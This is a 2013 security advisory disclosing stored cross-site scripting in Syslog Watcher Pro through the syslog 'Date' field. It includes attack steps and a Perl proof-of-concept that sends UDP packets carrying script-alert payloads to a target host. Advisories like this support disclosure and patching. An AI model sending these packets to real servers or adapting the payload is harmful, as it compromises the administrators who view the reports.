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Syslog Watcher Pro 'Date' Parameter Cross Site Scripting Vulnerability



Title: Syslog Watcher Pro 'Date' Parameter Cross Site Scripting Vulnerability
Software : Syslog Watcher Pro

Software Version : v2.8.0.812(Jun 15, 2009)

Vendor: http://www.snmpsoft.com/

Vulnerability Published : 2013-04-27

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 6.4, AV:N/AC:L/Au:N/C:P/I:P/A:N)

Bug Description :
Syslog Watcher Pro is a Windows-based syslog server for corporate networks.
Syslog Watcher Pro collects, stores, parses, displays and explains syslog information to both new and professional network administrators.
Syslog Watcher Pro(v2.8.0.812) is vulnerable to XSS by 'Date' Parameter of syslog protocol.

How to Attack :
STEP 1: Send a syslog packet which contained XSS code into 'Date' Parameter to Syslog Watcher Pro.
STEP 2: Syslog Watcher Pro put XSS code into database.
STEP 3: XSS code will be executed after victim generate and view report by Syslog Watcher Pro.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl
use IO::Socket::INET;
$|=1;

$host=shift;
$port=shift;

if(defined($host) && defined($port)){
	;
}else{
	die "usage: $0 host port\n";
}

$con=new IO::Socket::INET->new(PeerPort=>$port,
        Proto=>'udp',
        PeerAddr=>$host);

$npriority = '<0>';
$nhostname = "10.0.0.2";
$npid = 'test[10]';
$nmsg = "testing by demonalex";

$testcase1="<script>alert(\"XSS1\")</script>";
$testcase2="<script>alert(/XSS2/)</script>";

#testcase1
$header = $testcase1.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);

#testcase2
$header = $testcase2.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);

$con->close;

print "Over!\n";

exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@xxxxxxxxxxxxxxxx
Independent Researcher
DBAPPSecurity Co.,Ltd./Hong Kong PolyU